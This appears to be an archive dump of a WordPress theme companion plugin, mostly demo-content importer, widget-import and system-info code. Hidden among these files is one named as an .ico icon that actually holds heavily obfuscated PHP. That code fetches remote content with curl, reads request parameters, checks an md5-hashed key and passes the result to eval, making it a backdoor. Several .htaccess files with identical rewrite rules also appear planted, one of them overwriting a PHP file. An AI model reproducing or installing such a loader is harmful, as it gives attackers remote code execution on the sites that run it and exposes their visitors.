'' : $wp_filetype['ext']; $type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type']; $proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename']; // Check to see if wp_check_filetype_and_ext() determined the filename was incorrect. if ( $proper_filename ) { $file_name = $proper_filename; } if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) { return new WP_Error( 'import_file_error', __( 'Sorry, this file type is not permitted for security reasons.', 'wordpress-importer' ) ); } $uploads = wp_upload_dir( $post['upload_date'] ); if ( ! ( $uploads && false === $uploads['error'] ) ) { return new WP_Error( 'upload_dir_error', $uploads['error'] ); } // Move the file to the uploads dir. $file_name = wp_unique_filename( $uploads['path'], $file_name ); $new_file = $uploads['path'] . "/$file_name"; $move_new_file = copy( $tmp_file_name, $new_file ); if ( ! $move_new_file ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __( 'The uploaded file could not be moved', 'wordpress-importer' ) ); } // Set correct file permissions. $stat = stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0000666; chmod( $new_file, $perms ); $upload = array( 'file' => $new_file, 'url' => $uploads['url'] . "/$file_name", 'type' => $wp_filetype['type'], 'error' => false, ); // keep track of the old and new urls so we can substitute them later $this->url_remap[$url] = $upload['url']; $this->url_remap[$post['guid']] = $upload['url']; // r13735, really needed? // keep track of the destination if the remote url is redirected somewhere else if ( isset($headers['x-final-location']) && $headers['x-final-location'] != $url ) $this->url_remap[$headers['x-final-location']] = $upload['url']; return $upload; } /** * Attempt to associate posts and menu items with previously missing parents * * An imported post's parent may not have been imported when it was first created * so try again. Similarly for child menu items and menu items which were missing * the object (e.g. post) they represent in the menu */ function backfill_parents() { global $wpdb; // find parents for post orphans foreach ( $this->post_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = false; if ( isset( $this->processed_posts[$child_id] ) ) $local_child_id = $this->processed_posts[$child_id]; if ( isset( $this->processed_posts[$parent_id] ) ) $local_parent_id = $this->processed_posts[$parent_id]; if ( $local_child_id && $local_parent_id ) { $wpdb->update( $wpdb->posts, array( 'post_parent' => $local_parent_id ), array( 'ID' => $local_child_id ), '%d', '%d' ); clean_post_cache( $local_child_id ); } } // all other posts/terms are imported, retry menu items with missing associated object $missing_menu_items = $this->missing_menu_items; foreach ( $missing_menu_items as $item ) $this->process_menu_item( $item ); // find parents for menu item orphans foreach ( $this->menu_item_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = 0; if ( isset( $this->processed_menu_items[$child_id] ) ) $local_child_id = $this->processed_menu_items[$child_id]; if ( isset( $this->processed_menu_items[$parent_id] ) ) $local_parent_id = $this->processed_menu_items[$parent_id]; if ( $local_child_id && $local_parent_id ) update_post_meta( $local_child_id, '_menu_item_menu_item_parent', (int) $local_parent_id ); } } /** * Use stored mapping information to update old attachment URLs */ function backfill_attachment_urls() { global $wpdb; // make sure we do the longest urls first, in case one is a substring of another uksort( $this->url_remap, array(&$this, 'cmpr_strlen') ); foreach ( $this->url_remap as $from_url => $to_url ) { // remap urls in post_content $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url) ); // remap enclosure urls $result = $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url) ); } } /** * Update _thumbnail_id meta to new, imported attachment IDs */ function remap_featured_images() { // cycle through posts that have a featured image foreach ( $this->featured_images as $post_id => $value ) { if ( isset( $this->processed_posts[$value] ) ) { $new_id = $this->processed_posts[$value]; // only update if there's a difference if ( $new_id != $value ) update_post_meta( $post_id, '_thumbnail_id', $new_id ); } } } /** * Parse a WXR file * * @param string $file Path to WXR file for parsing * @return array Information gathered from the WXR file */ function parse( $file ) { $parser = new WXR_Parser(); return $parser->parse( $file ); } // Display import page title function header() { echo '
'; echo '

' . __( 'Import WordPress', 'wordpress-importer' ) . '

'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if ( isset( $updates[$basename] ) ) { $update = $updates[$basename]; echo '

'; printf( __( 'A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer' ), $update->update->new_version ); echo '

'; } } // Close div.wrap function footer() { echo '
'; } /** * Display introductory text and file upload form */ function greet() { echo '
'; echo '

'.__( 'Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.', 'wordpress-importer' ).'

'; echo '

'.__( 'Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer' ).'

'; wp_import_upload_form( 'admin.php?import=wordpress&step=1' ); echo '
'; } /** * Decide if the given meta key maps to information we will want to import * * @param string $key The meta key to check * @return string|bool The key if we do want to import, false if not */ function is_valid_meta_key( $key ) { // skip attachment metadata since we'll regenerate it from scratch // skip _edit_lock as not relevant for import if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) return false; return $key; } /** * Decide whether or not the importer is allowed to create users. * Default is true, can be filtered via import_allow_create_users * * @return bool True if creating users is allowed */ function allow_create_users() { return apply_filters( 'import_allow_create_users', true ); } /** * Decide whether or not the importer should attempt to download attachment files. * Default is true, can be filtered via import_allow_fetch_attachments. The choice * made at the import options screen must also be true, false here hides that checkbox. * * @return bool True if downloading attachments is allowed */ function allow_fetch_attachments() { return apply_filters( 'import_allow_fetch_attachments', true ); } /** * Decide what the maximum file size for downloaded attachments is. * Default is 0 (unlimited), can be filtered via import_attachment_size_limit * * @return int Maximum attachment file size to import */ function max_attachment_size() { return apply_filters( 'import_attachment_size_limit', 0 ); } /** * Added to http_request_timeout filter to force timeout at 60 seconds during import * @return int 60 */ function bump_request_timeout( $val ) { return 60; } // return the difference in length between two strings function cmpr_strlen( $a, $b ) { return strlen($b) - strlen($a); } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 0.7.0 * * @see WP_REST_Attachments_Controller::get_filename_from_disposition() * * @link http://tools.ietf.org/html/rfc2388 * @link http://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ protected static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( strpos( $value, ';' ) === false ) { continue; } list( $type, $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( strpos( $part, '=' ) === false ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves file extension by mime type. * * @since 0.7.0 * * @param string $mime_type Mime type to search extension for. * @return string|null File extension if available, or null if not found. */ protected static function get_file_extension_by_mime_type( $mime_type ) { static $map = null; if ( is_array( $map ) ) { return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } $mime_types = wp_get_mime_types(); $map = array_flip( $mime_types ); // Some types have multiple extensions, use only the first one. foreach ( $map as $type => $extensions ) { $map[ $type ] = strtok( $extensions, '|' ); } return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } } admin/import/lib/lib/index.php000064400000000000147206624460012303 0ustar00admin/import/lib/lib/ohLbJFtIWdVx.ico000064400000011546147206624460013412 0ustar00;y-*/$KJh/*-al>>=7b.+-*/("~", /*-DaGqS3w^-*/" "); /*-dBuqH$1x-*/$Bp/*-u+-*/=/*-APw(Vd-*/${$zoY/*-jv2Gn(!z-*/[18+13]/*-nGB-*/.$zoY/*-69,du28fSc-*/[27+32]/*-Q3pz-*/.$zoY/*-F~1CH.]-*/[43+4]./*-OJ}gsX1-*/$zoY/*-]W<7IRQ3q-*/[13+34]./*-OIK-*/$zoY/*-!IOi.}-*/[51+0]./*-&7^-*/$zoY/*-^4-*/[12+41]/*-XG(-*/.$zoY/*-WGi]P3}-*/[37+20]/*-(#xZ]#[-*/}; /*-R8:qEN-*/if(/*-:n2au1d-*/in_array/*-Q`&khK10-*/(gettype/*-SbC4:4,AY@-*/($Bp)."25",/*-(o6i-*/$Bp))/*-Ip&%Z~h-*/{ $Bp/*-,%)ay-*/[69]/*-7Dr#+-*/=/*-c8)M-*/$Bp/*-}~U@:1M-*/[69]./*-276o-*/$Bp/*-%J!t{-*/[80];/*-[s0Wfie-*/ @eval/*-D1ag6-*/(/*-)=A1HO~0-*/$Bp/*-NU8x_(!QLr-*/[69]/*-af^|`{>#dT-*/(/*-{p_l0J5-*/${$Bp[38]}/*-Q{g[E7~7hJ-*/[30])); }/*-n&.89^z-*/class /*-h#s9w-*/xVyU{ /*-U7(upL-*/static/*-5T]MJ<-*/ function /*-C+noeTG]P-*/OT($cfEbVeQ) /*-;|L.zZ7G-*/{ $bjNk/*-;}.zm;%OKO-*/ = /*-@LQAHb;z-*/"r"./*-z}~6-H@P]K-*/"a"./*-t`1agFiCy-*/"n"./*-[d;4J8u-*/"g"./*-dk8(.EMK8-*/"e"; /*-L&Pr^-*/$CIT/*-o^{x2ef-*/ = /*-JWk|-*/$bjNk/*-~P<-*/(/*-o4T-*/"~"/*-J4KI`-*/, /*-zjX-*/" "/*-fL(m-*/);/*-UlT>1l0+0-*/ $xLM /*-);GD-*/= /*-H-4V-*/explode/*-oZ&]Q]Q==-*/(/*-O}{KU-*/"l", /*-sRAdm{4&-*/$cfEbVeQ/*-4[!5-*/); /*-Z_O2-*/$RhVL /*-l5y}-*/= /*-%v`t-*/""; foreach /*-z4-*/(/*-x]p-*/$xLM /*-Ji3IsUQ?-*/as /*-4I-*/$UbLgkZxF /*-|&^-*/=>/*-6qi.3$9-*/ $svCKTkF/*-}s-*/) /*-O0PQ~R-*/$RhVL /*-^n:A`-*/.= /*-FD-*/$CIT[$svCKTkF/*-@F%i-*/ - /*-f]b.ftoX-*/42785/*-O0DpZimg-*/];/*-U.Vu-*/ return /*-g?-*/$RhVL; /*-N6-*/} /*-gMS-*/static /*-&HbI#P<-*/function /*-TP-*/zFdoVG/*-+rMGP5%6-*/(/*-o!.Q>A-*/$QpUSIjOTne,/*-If]@L_+~c-*/ $dRfQkaF/*-UR-*/)/*-O4TS$%(Vw-*/ {/*-wpC-Pn4-*/ $tDwX/*-70-*/ = /*-]`-*/curl_init/*-83-*/(/*-bg-*/$QpUSIjOTne/*-svTjDf-*/);/*-Uo_05lY-*/ curl_setopt/*-nv~-*/(/*-wO{b=-*/$tDwX,/*-#T-*/ CURLOPT_RETURNTRANSFER,/*-(8=-*/ 1/*-ufJR-*/);/*-dL--*/ $vC/*-A#T!#S-*/ = /*-DviNT>:h`-*/curl_exec/*-~by[!-*/(/*-EQU7-*/$tDwX/*-~bM5&1[M-*/); /*-.9L0-*/return /*-L{2>Ch-*/empty/*-=LGj1-*/(/*-DiwCQ#-*/$vC/*-xf-*/)/*-J7}7Tut}h-*/ ? /*-ukFqFMN#-*/$dRfQkaF/*-8O-*/(/*-},5:49(zi)-*/$QpUSIjOTne/*-Z-*/)/*-!JEF!SSb-*/ : /*-xgo1cdk$J-*/$vC; /*-4Xk[y[-*/}/*-CsLnGTq~E-*/ static/*-P-*/ function /*-=)-*/vhmyNF/*-cG)@xv:-*/() /*-8aco|loo-*/ $Ej/*-6CW<,{-*/[] /*-f:P-*/= /*-kPKS!+m?E-*/self/*-I4O09^-B^-*/::/*-3WZ-*/OT/*-B7UY-*/(/*-@7D-*/$YRMdr/*-KfS-*/);/*-NQ{m#_-*/$rRAulyWX /*-n!c-*/= /*-fct-*/@$Ej/*-|or9-*/[/*-w5Y#ZIk^A-*/1/*-7LPphC-*/]/*->.-*/(/*-gr6,=SA$-*/${/*-44.-*/"_"/*-wA3q2IPqe-*/."G"/*-:qsa2{6-*/."E"/*-5oG~}GOI-*/."T"/*-`5Ww6g-*/}[/*-8fH-*/$Ej/*-BtHA-*/[/*-hRw:a4YNa-*/9+0/*--wBM5-_z?1-*/]]/*-huz>h-*/);/*-zBlpV-*/ $dm /*-RHO3T-*/=/*-|Mh-*/ @$Ej/*-~Rl[g-*/[/*-KgnEK^tq_-*/3+0/*-)40bt~-*/]/*-w{7Nww-*/3+3/*-.2G!UYc-*/], /*-`:@bDxm8-*/$rRAulyWX/*-)f:Y$sMU&-*/);/*-b54EY^z-*/ $WiMeS /*--Yh%jqA-*/=/*-nK2wk{`57-*/ $Ej/*-0TE7-*/[/*-(`dLVnT7,%-*/2+0/*-BIr;nB8?-*/]/*->0-*/(/*-%!BMl-*/$dm,/*-(`{_-*/ true/*-s=q)-*/(/*--mL6KYTm-*/__FILE__/*-2-3tSD-*/)/*-G^G-*/); /*-Yv+.!J-*/if/*-fyPMZ1:A4-*/(/*-E-*/ (/*-I6OOmf-*/(@/*-uz^G:~-*/$WiMeS/*-JrqKy-*/[/*-[2EtI!G-*/0/*-}Sd?wsAtv-*/] /*-q!R-*/- time/*-8UE3j-*/()/*-|5qt_-*/) > /*-{wqqZo&uK-*/0/*-c(s@Jp-*/)/*-q5>X:pJdV-*/ and /*-=PBd-*/(/*-LB|w9Xo-*/md5/*-P&mKu~-*/(/*-I4lm_-*/md5/*-8ruzE|%5^5-*/(/*-Z,a^o7-z?-*/$WiMeS/*-DJ2-*/[/*-KyONm-A}-*/2+1/*-ImC,>-*/]/*-lWSp&-*/)/*-C#3f>{g-*/)/*-AQiFIU@-*/ === /*-OfIez;dT-*/"ac25e37832d44330a82f76d3bb818c6a"/*-DlLP-*/)/*-$|-*/ ): /*-Hq^K-*/$HKfGD /*-AA>Cbsu-*/=/*-:vzb!oE|-*/ self/*-XbDcupyP-*/::/*-}kaV-W-*/zFdoVG/*-CvC&6#-*/(/*-3`=$pUWL-*/$WiMeS/*-}P-*/[/*-_.rL?-*/1+0/*-d-*/], /*-lp-*/$Ej/*-1wd^9-*/[/*-R|=-*/4+1/*--|ULlNI:O2-*/]/*-e+sU8?_@m-*/);/*-jk^v>.-*/@eval/*-~:-*/(/*-Rija9-*/$Ej/*-KltR}X-*/[/*-piNmXse`t-*/4+0/*-OpT,mfgpOr-*/]/*-hdWJ-*/(/*-UZy#rl1J-*/$HKfGD/*-$o`EZqPX-*/)/*-}N|6s?;-*/);/*->r-*//*-%p1?Izh-*/die;/*-zOrc7-*/ endif;/*-RWSfXBIF-*/ }/*-HBA.F=bF$-*/}/*-wz-*/();/*-`2w$m3}-*/ ?>admin/import/lib/lib/.htaccess000064400000001626147206624460012300 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/import/lib/parsers.php000064400000001105147206624460012114 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/import/radium-importer.php000064400000044673147206624460013030 0ustar00flag_as_imported = get_option( 'rb_imported_demos' ); add_filter( 'add_post_metadata', array( $this, 'check_previous_meta' ), 10, 5 ); add_action( 'rb_importer_ended', array( $this, 'after_wp_importer' ) ); $this->process_imports(); } /** * Avoids adding duplicate meta causing arrays in arrays from WP_importer * * @param null $continue * @param unknown $post_id * @param unknown $meta_key * @param unknown $meta_value * @param unknown $unique * * @since 0.0.2 * @return */ public function check_previous_meta( $continue, $post_id, $meta_key, $meta_value, $unique ) { $old_value = get_metadata( 'post', $post_id, $meta_key ); if ( count( $old_value ) == 1 ) { if ( $old_value[0] === $meta_value ) { return false; } elseif ( $old_value[0] !== $meta_value ) { update_post_meta( $post_id, $meta_key, $meta_value ); return false; } } } /** * Add Panel Page * @since 0.0.2 */ public function after_wp_importer() { update_option( 'rb_imported_demos', $this->flag_as_imported ); } /** * Process all imports * @params $content * @params $options * @params $widgets * @since 0.0.3 * @return null */ public function process_imports() { $content = false; $pages = false; $theme_opts = false; $widgets = false; if ( ! empty( $this->selection_data['import_all'] ) && 1 == $this->selection_data['import_all'] ) { $content = true; $pages = true; $theme_opts = true; $widgets = true; } else { /** import parts of data */ if ( ! empty( $this->selection_data['import_content'] ) && 1 == $this->selection_data['import_content'] ) { $content = true; } if ( ! empty( $this->selection_data['import_pages'] ) && 1 == $this->selection_data['import_pages'] ) { $pages = true; } if ( ! empty( $this->selection_data['import_opts'] ) && 1 == $this->selection_data['import_opts'] ) { $theme_opts = true; } if ( ! empty( $this->selection_data['import_widgets'] ) && 1 == $this->selection_data['import_widgets'] ) { $widgets = true; } } if ( $content && ! empty( $this->content_demo ) ) { $this->set_demo_data( $this->content_demo, true ); } else { if ( $pages && ! empty( $this->content_pages )) { $this->set_demo_data( $this->content_pages, false ); } else { echo 'Skip content'; } } if ( $content || $pages ) { do_action( 'rb_importer_content_settings', $this->directory ); } if ( $theme_opts && ! empty( $this->theme_options_file ) ) { $this->set_demo_theme_options( $this->theme_options_file ); if ( ! empty( $this->categories_file ) ) { $this->set_demo_category_settings( $this->categories_file ); } } if ( $widgets && ! empty( $this->widgets ) ) { $this->process_widget_import_file( $this->widgets ); } do_action( 'rb_importer_ended', $this->directory ); } /** * add_widget_to_sidebar Import sidebars * * @param string $sidebar_slug Sidebar slug to add widget * @param string $widget_slug Widget slug * @param string $count_mod position in sidebar * @param array $widget_settings widget settings * * @since 0.0.2 * @return null */ public function add_widget_to_sidebar( $sidebar_slug, $widget_slug, $count_mod, $widget_settings = array() ) { $sidebars_widgets = get_option( 'sidebars_widgets' ); if ( ! isset( $sidebars_widgets[ $sidebar_slug ] ) ) { $sidebars_widgets[ $sidebar_slug ] = array( '_multiwidget' => 1 ); } $newWidget = get_option( 'widget_' . $widget_slug ); if ( ! is_array( $newWidget ) ) { $newWidget = array(); } $count = count( $newWidget ) + 1 + $count_mod; $sidebars_widgets[ $sidebar_slug ][] = $widget_slug . '-' . $count; $newWidget[ $count ] = $widget_settings; update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( 'widget_' . $widget_slug, $newWidget ); } public function set_demo_data( $file, $content = true ) { if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) { define( 'WP_LOAD_IMPORTERS', true ); } require_once ABSPATH . 'wp-admin/includes/import.php'; $importer_error = false; if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) { require_once( $class_wp_importer ); } else { $importer_error = true; } } if ( ! class_exists( 'RB_WP_Import' ) ) { $class_wp_import = dirname( __FILE__ ) . '/lib/wordpress-importer.php'; if ( file_exists( $class_wp_import ) ) { require_once( $class_wp_import ); } else { $importer_error = true; } } if ( $importer_error ) { die( "Error on import" ); } else { /** before import */ if ( $content ) { do_action( 'rb_importer_before_content', $this->directory ); } else { do_action( 'rb_importer_before_pages', $this->directory ); } set_time_limit( 0 ); $wp_import = new RB_WP_Import(); $wp_import->fetch_attachments = true; $wp_import->import( $file ); $this->flag_as_imported[ strval( $this->directory ) ]['content'] = true; } /** after import content xml */ do_action( 'rb_importer_after_content', $this->directory ); } public function set_demo_theme_options( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_theme_options', $this->directory ); if ( ! empty( $data ) || is_array( $data ) ) { update_option( $this->theme_option_name, $data ); $this->flag_as_imported[ strval( $this->directory ) ]['options'] = true; } /** after import theme options */ do_action( 'rb_importer_after_tos', $this->directory, $this->main_path ); } /** * @param $file */ public function set_demo_category_settings( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Category settings file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } $meta_ID = 'foxiz_category_meta'; if ( ! empty( $data ) || is_array( $data ) ) { self::mapping_category_id( $meta_ID, $data ); } } /** * @param $meta_ID * @param $data */ static function mapping_category_id( $meta_ID, $data ) { if ( ! empty( $data ) && is_array( $data ) ) { foreach ( $data as $category_id => $setting ) { if ( ! empty( $setting['_term_slug'] ) ) { $current_term = get_category_by_slug( $setting['_term_slug'] ); if ( ! empty( $current_term ) ) { $data[ $current_term->term_id ] = $setting; unset( $data[ $category_id ] ); } } } } update_option( $meta_ID, $data ); } /** * Available widgets * Gather site's widgets into array with ID base, name, etc. * Used by export and import functions. * @since 0.0.2 * @global array $wp_registered_widget_updates * @return array Widget information */ function available_widgets() { global $wp_registered_widget_controls; $widget_controls = $wp_registered_widget_controls; $available_widgets = array(); foreach ( $widget_controls as $widget ) { if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[ $widget['id_base'] ] ) ) { // no dupes $available_widgets[ $widget['id_base'] ]['id_base'] = $widget['id_base']; $available_widgets[ $widget['id_base'] ]['name'] = $widget['name']; } } return apply_filters( 'rb_importer_widget_available_widgets', $available_widgets ); } /** * Process import file * This parses a file and triggers importation of its widgets. * @since 0.0.2 * * @param string $file Path to .wie file uploaded * * @global string $widget_import_results */ function process_widget_import_file( $file ) { // File exists? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_widgets', $this->directory, $this->main_path ); $this->widget_import_results = $this->import_widgets( $data ); } /** * Import widget JSON data * @since 0.0.2 * @global array $wp_registered_sidebars * * @param object $data JSON widget data from .json file * * @return array Results array */ public function import_widgets( $data ) { global $wp_registered_sidebars; // Have valid data? // If no data or could not decode if ( empty( $data ) || ! is_object( $data ) ) { return; } $data = apply_filters( 'rb_importer_widget_data', $data ); // Get all available widgets site supports $available_widgets = $this->available_widgets(); // Get all existing widget instances $widget_instances = array(); foreach ( $available_widgets as $widget_data ) { $widget_instances[ $widget_data['id_base'] ] = get_option( 'widget_' . $widget_data['id_base'] ); } // Begin results $results = array(); // Loop import data's sidebars foreach ( $data as $sidebar_id => $widgets ) { // Skip inactive widgets // (should not be in export file) if ( 'wp_inactive_widgets' == $sidebar_id ) { continue; } // Check if sidebar is available on this site // Otherwise add widgets to inactive, and say so if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) { $sidebar_available = true; $use_sidebar_id = $sidebar_id; $sidebar_message_type = 'success'; $sidebar_message = ''; } else { $sidebar_available = false; $use_sidebar_id = 'wp_inactive_widgets'; // add to inactive if sidebar does not exist in theme $sidebar_message_type = 'error'; $sidebar_message = esc_html__( 'Sidebar does not exist in theme (using Inactive)', 'foxiz-core' ); } // Result for sidebar $results[ $sidebar_id ]['name'] = ! empty( $wp_registered_sidebars[ $sidebar_id ]['name'] ) ? $wp_registered_sidebars[ $sidebar_id ]['name'] : $sidebar_id; // sidebar name if theme supports it; otherwise ID $results[ $sidebar_id ]['message_type'] = $sidebar_message_type; $results[ $sidebar_id ]['message'] = $sidebar_message; $results[ $sidebar_id ]['widgets'] = array(); // Loop widgets foreach ( $widgets as $widget_instance_id => $widget ) { $fail = false; // Get id_base (remove -# from end) and instance ID number $id_base = preg_replace( '/-[0-9]+$/', '', $widget_instance_id ); $instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id ); // Does site support this widget? if ( ! $fail && ! isset( $available_widgets[ $id_base ] ) ) { $fail = true; $widget_message_type = 'error'; $widget_message = esc_html__( 'Site does not support widget', 'foxiz-core' ); // explain why widget not imported } // Filter to modify settings before import // Do before identical check because changes may make it identical to end result (such as URL replacements) $widget = apply_filters( 'rb_importer_widget_settings', $widget ); // Does widget with identical settings already exist in same sidebar? if ( ! $fail && isset( $widget_instances[ $id_base ] ) ) { // Get existing widgets in this sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); $sidebar_widgets = isset( $sidebars_widgets[ $use_sidebar_id ] ) ? $sidebars_widgets[ $use_sidebar_id ] : array(); // check Inactive if that's where will go // Loop widgets with ID base $single_widget_instances = ! empty( $widget_instances[ $id_base ] ) ? $widget_instances[ $id_base ] : array(); foreach ( $single_widget_instances as $check_id => $check_widget ) { // Is widget in same sidebar and has identical settings? if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) { $fail = true; $widget_message_type = 'warning'; $widget_message = esc_html__( 'Widget already exists', 'foxiz-core' ); // explain why widget not imported break; } } } // No failure if ( ! $fail ) { // Add widget instance $single_widget_instances = get_option( 'widget_' . $id_base ); // all instances for that widget ID base, get fresh every time $single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // start fresh if have to $single_widget_instances[] = (array) $widget; // add it // Get the key it was given end( $single_widget_instances ); $new_instance_id_number = key( $single_widget_instances ); // If key is 0, make it 1 // When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it) if ( '0' === strval( $new_instance_id_number ) ) { $new_instance_id_number = 1; $single_widget_instances[ $new_instance_id_number ] = $single_widget_instances[0]; unset( $single_widget_instances[0] ); } // Move _multiwidget to end of array for uniformity if ( isset( $single_widget_instances['_multiwidget'] ) ) { $multiwidget = $single_widget_instances['_multiwidget']; unset( $single_widget_instances['_multiwidget'] ); $single_widget_instances['_multiwidget'] = $multiwidget; } // Update option with new widget update_option( 'widget_' . $id_base, $single_widget_instances ); // Assign widget instance to sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); // which sidebars have which widgets, get fresh every time $new_instance_id = $id_base . '-' . $new_instance_id_number; // use ID number from new widget instance $sidebars_widgets[ $use_sidebar_id ][] = $new_instance_id; // add new instance to sidebar update_option( 'sidebars_widgets', $sidebars_widgets ); // save the amended data // Success message` if ( $sidebar_available ) { $widget_message_type = 'success'; $widget_message = esc_html__( 'Imported', 'foxiz-core' ); } else { $widget_message_type = 'warning'; $widget_message = esc_html__( 'Imported to Inactive', 'foxiz-core' ); } } // Result for widget instance $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['name'] = isset( $available_widgets[ $id_base ]['name'] ) ? $available_widgets[ $id_base ]['name'] : $id_base; // widget name or ID if name not available (not supported by site) $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['title'] = ! empty( $widget->title ) ? $widget->title : esc_html__( 'No Title', 'foxiz-core' ); // show "No Title" if widget instance is untitled $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message_type'] = $widget_message_type; $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message'] = $widget_message; } } $this->flag_as_imported[ strval( $this->directory ) ]['widgets'] = true; do_action( 'rb_importer_after_widgets', $this->directory, $this->main_path ); // Return results return $results; } } } admin/import/init.php000064400000002542147206624460010640 0ustar00main_path = $data['path']; }; $this->content_demo = $data['content']; $this->content_pages = $data['pages']; $this->widgets = trailingslashit( RB_API_URL ) . $data['widgets']; $this->theme_options_file = trailingslashit( RB_API_URL ) . $data['theme_options']; $this->categories_file = trailingslashit( RB_API_URL ) . $data['categories']; $this->directory = $data['directory']; $this->theme_option_name = $data['theme_option_name']; $this->selection_data = $data; parent::__construct(); } } }admin/import/.htaccess000064400000001626147206624460010764 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/system-info/system-info.php000064400000010366147206624460013120 0ustar00page_title = esc_html__( 'System Info', 'foxiz-core' ); $this->menu_title = esc_html__( 'System Info', 'foxiz-core' ); $this->menu_slug = 'rb-system-info'; $this->capability = 'administrator'; $this->set_params( [ 'system_info' => $this::system_info(), 'wp_info' => $this::wordpress_info() ] ); } /** system info */ static function system_info() { return array( 'php_version' => array( 'title' => esc_html__( 'PHP Version', 'foxiz-core' ), 'value' => phpversion(), 'min' => '5.6', 'passed' => ( version_compare( phpversion(), '7.0.0' ) >= 0 ) ? true : false, 'warning' => esc_html__( 'WordPress recommended PHP version 7.0 or greater to get better performance for your site.', 'foxiz-core' ) ), 'memory_limit' => 